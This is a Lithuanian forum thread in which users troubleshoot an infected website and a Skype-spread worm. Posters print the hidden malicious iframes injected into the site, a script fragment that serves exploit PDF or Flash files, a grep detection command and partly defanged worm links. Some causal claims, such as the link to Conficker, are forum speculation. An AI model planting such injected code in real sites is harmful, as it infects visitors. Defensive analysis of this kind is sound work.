Nesikuklinam-pasake profas-reiskias profas

Gerasis galingasis GūūūūGlinas

klarnetas rašė:litehitscar.cn-kas čia ,kodėl su googlechrome naršykle bandant įeiti į openbox info ,parausta ekranas ir atsiranda užrašas ,perspėjantis ,kad čia yra užkrėstu failu iš litehitscar.cn .su mozila nieko nesako ,tik šiandien atsirado tas užrašas ,o kitur ,naršant internete viskas gerai.antivirusinė NOD 32 -nauja.

Atsidaryk openbox.info ir pažiūrėk puslapio sourcą.

Pamatysi:

<iframe src="http://lotante.cn/in.cgi?income37" width=1 height=1 style="visibility: hidden"></iframe>
<iframe src="http://cheapslotplay.cn/in.cgi?income47" width=1 height=1 style="visibility: hidden"></iframe>

Conficker virusas taip platinasi. Sie puslapiai permeta i litehitscar.cn, o sis, pasak googles, yra vertas blokavimo, del galimu rysiu su Conficker.

Is po nix terminalo atsidariau pirma nuoroda, ten akivaizdiai virusas, nes sugeneruojamas toks JS kodas:

if((name.indexOf("Adobe Acrobat") != -1) || (name.indexOf("Adobe PDF") != -1))
{
document.write('<iframe src="cache/readme.pdf"></iframe>');
}

if(name.indexOf("Flash") != -1)
{
document.write('<iframe src="cache/flash.swf"></iframe>');
}
}

Patikrina, ar Acrobatas, ar Flashas ir pagal tai atitinkama pazeidziama failiuka ismeta.

Dėkoju ,tik vieno nesuprantu ,kodėl Mozila /paskutinė versija/ nieko nesako ,atidaro greitai ir be įspėjimo .

Todel, ka uz </html> tag'o esantis tekstas turi buti ignuoruojamas...

Sveiki.
Gal kas turite galimybę ar žinote kokiu būdu reikėtų praskenuoti visą tinklapį su visais katalogais?
Gal per ftp ar dar kokiu kitu būdu?
Atrodo išvalėme virusuotus failus, bet nesame įsitikinę.
Katalogų gal apie du šimtai. Vakar iki pusiaunakčio tyrinėjau - nesu tikras ar koks failas nepraėjo pro akis...
Gal kas su antivirusine matysite iš kurios konkrečios vietos kyla virusas?

Ačiū už bet kokią pagalbą.

sveiki .va šiandien užėjau į openbox be jokiu ''grasinimu''.viskas gerai .

openbox rašė:Sveiki.
Gal kas turite galimybę ar žinote kokiu būdu reikėtų praskenuoti visą tinklapį su visais katalogais?
Gal per ftp ar dar kokiu kitu būdu?
Atrodo išvalėme virusuotus failus, bet nesame įsitikinę.
Katalogų gal apie du šimtai. Vakar iki pusiaunakčio tyrinėjau - nesu tikras ar koks failas nepraėjo pro akis...
Gal kas su antivirusine matysite iš kurios konkrečios vietos kyla virusas?

Ačiū už bet kokią pagalbą.

Kad ir tokia komanda šakniniam wordpresso kataloge iš konsolės, jei yra priėjimas, parodys tokius failus:

egrep -Re 'lotante|cheapslotplay|litehitscar' *

Pirm0kas rašė:
Kad ir tokia komanda šakniniam wordpresso kataloge iš konsolės, jei yra priėjimas, parodys tokius failus:

egrep -Re 'lotante|cheapslotplay|litehitscar' *

Tai čia tik vieną wordpress`ą patikrins.
O ftp katalogų labai daug.
Kaip reikia visus katalogus praskenuoti?

Kreipiausi į hostingą, gal pamačys....

openbox rašė:

Pirm0kas rašė:
Kad ir tokia komanda šakniniam wordpresso kataloge iš konsolės, jei yra priėjimas, parodys tokius failus:

egrep -Re 'lotante|cheapslotplay|litehitscar' *

Tai čia tik vieną wordpress`ą patikrins.
O ftp katalogų labai daug.
Kaip reikia visus katalogus praskenuoti?

Kreipiausi į hostingą, gal pamačys....

Prie ko čia tie katalogai? Nu tai tuomet iš userio šaknies tą komanda reikia paleisti. Juk -R raktas grepui liepia rekursiškai visas direktorijas pereiti.

Kas cia pasidare-laptope su Avira 9 neina ieiti i pagrindini openbox saita ir Elbela-Firefox rodo, kad ten yra kenkejiskos programos.Dar vakar problemu nebuvo.Namu PC su Kasperskiu(KIS 8) i Elbela leidzia ieiti, i Openbox-ne.

virgis.bb rašė:Kas cia pasidare-laptope su Avira 9 neina ieiti i pagrindini openbox saita ir Elbela-Firefox rodo, kad ten yra kenkejiskos programos.Dar vakar problemu nebuvo.Namu PC su Kasperskiu(KIS i Elbela leidzia ieiti, i Openbox-ne.

Ketvirtadienis, Balandzio 16, 20:50
I pradini openbox.info puslapi ileidzia be problemu.
Elbelos saite diena kazkokiu problemu buvo. Dabar jau problemu nera...

Į elbelą su firefoxu neleidžia, todėl kad:

Of the 2 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-04-15, and the last time suspicious content was found on this site was on 2009-04-15.

Malicious software includes 2 exploit(s).

Malicious software is hosted on 1 domain(s), including openbox.lt/.

This site was hosted on 1 network(s) including AS47205 (HOSTEX).

Kalta ta conficker viruso nuoroda, kuri buvo patalpinta openbox.info indekse.

Ketvirtadienis, Balandzio 16, 20:50
I pradini openbox.info puslapi ileidzia be problemu.
Elbelos saite diena kazkokiu problemu buvo. Dabar jau problemu nera...[/quote]
I openbox eina, i elbela tiesiai is forumo neina.

visas velykas prasėdėjau be openbox forumo - neleido antivirusinė įeiti

Nu ką Skype virusų ataka tesesi

„Skype“ programos pagalba plinta kompiuterinis virusas, praneša esaugumas.lt. Šis virusas naudodamas esamus „Skype“ kontaktus, siuntinėja žinutes siūlydamas aplankyti kenkėjišką svetainę, kurioje yra patalpintas virusas.

Kompiuteris užkrečiamas parsisiuntus ir aktyvavus bylą coolpro.exe , coolpro.src, coolpro.bat ir pan.

Specialistai rekomenduoja nespausti ant įtartinų/neaiškių nuorodų gautų iš „Skype" naudotojų, atnaujinti naudojamas antivirusines sistemas ir prieš spaudžiant ant nuorodos pasiteirauti siuntėjo, ar jis tikrai jums atsiuntė nuorodą.

Šaltinis delfi.lt

Man isvis pries kelias dienas buvo bajeris susirasineja pats skaipas su 1 kontaktu mano as tik sedziu ir ziuriu o skypas raso pats Susirasymas kartojasi tai uzblokavau ta kontakta vargsha ir viskas matyt spustelejo ant nuorodos jis kokios tai negeros.

Tai pala nesupratau tai iš tavo skype niko kažkas rašė kitam Tai gal jau koks šnipukas sėdi kompe

nerux rašė:Tai pala nesupratau tai iš tavo skype niko kažkas rašė kitam Tai gal jau koks šnipukas sėdi kompe

,
Ne, tipo man raso bet pokalbiuose rodo mano skype varda ir dar kazkokia nuoroda tipo paspausti jei butu pas mane jau butu ir kitiems kontaktams rases. As ta kontakta uzblokavai ir viskas daugiau jokiu cirku tai manau saltinis anas kontaktas ir buvo ,nes as nuorodu nespaudau jokiu ir neimu i kontaktus nepazystamu namiskiai taip pat ,nes esu prigrasines

krc panagrinejau ta dalyka:

y skype gauni pwz toke zinute

http://78.58.46.9@:28623/Rugile/Lithuania/lt?i=Rugile&l=lt&t=b

blogiau nebuna taip?
http://78-62-187-21@.static.zebra.lt:19196/Rugile/Lithuania/lt?i=Rugile&l=lt&t=s

kur 78-62-187-21@ tai jusu IP o kur Rugile tai Ka esat ant saves pasirases paskiau salis eina
ir sitomis nuorodomis gauni atsisiusti Rugile.bat Rugile.scr Sie vardai gali but skirtingi tai priklauso nuo to varduko kur pasirase esat ...
Tad zinokit... nespauskit ant situ nuorodu verciau gausit virusa ta bet manau kad negausit nes parasiau vietoj vieno skaicio @ jei pastebejot

Kai kada narsykle rodo pranesima kad svetaine bando nuskaityti jusu koda tai cia tipo virusas ar trojanas nori patekti i kompa .Po paskutinio tokio pranesimo kompas nenori issijungti tenka per Ctrl-Alt-Delete isjungineti procesus kol pasirodo isjungimo lentele nors isijungia gerai ,ESET antivirusine neranda nieko kazin ar nespyktu Win Defender suantivirusine nes jis kaip geriau surasdavo tos TMP failus kurie uzkresti budavo nes kai praskanavo viena antivirusine kompa ir pasalino tai gavau OS diegti pernauja.

Tai su eset dar nieko pilnai neišvalysi, bandyk su Ad-aware, trojan remover, vat jos kai suras tada ir eset kaip taisyklė suveikia kad rado, pas mane ne sykį taip buvo, beje dar išsivalyk C:\Documents and Settings\PC\Local Settings\Temp ir C:\Documents and Settings\PC\Local Settings\Temporary Internet Files savo windowsuose ir padeda

Man NOD 32 SM v4 aptinka sita virusa ir neleidzia patekti

Jo kaip nerux ir mineji vien antivirusines nepakanka kompe reika dar ir papildomu adware skaneriu tokiu kaip spybot.